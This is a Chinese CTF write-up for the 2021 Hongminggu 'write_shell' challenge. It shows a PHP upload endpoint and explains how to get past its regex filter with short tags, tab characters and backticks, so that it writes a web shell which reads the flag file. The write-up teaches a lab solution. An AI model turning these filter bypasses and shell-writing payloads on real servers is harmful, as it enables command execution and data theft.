[红明谷CTF 2021]write_shell 1

目录

代码审计

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

传入了两个参数

action=pwd时,显示路径

action=upload时,写入内容

check()

通过正则过滤

php 复制代码
preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)

字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写

对php的过滤可使用短标签:<?=(代码)?>

对空格的过滤,可使用 "/t" 或 "%09"代替

没有过滤反引号,我们可以在反引号中执行shell命令

$_GET["action"] ?? ""

_GET\["action"\] ?? "":这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 _GET["action"] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 ""

解题

先查看路径

text 复制代码
payload:?action=pwd

查看目录

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

再访问刚才得到的路径

访问:flllllll1112222222lag

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
相关推荐
叶落阁主9 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
JaguarJack10 小时前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay1 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954482 天前
CTF 伪协议
php
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954483 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star3 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全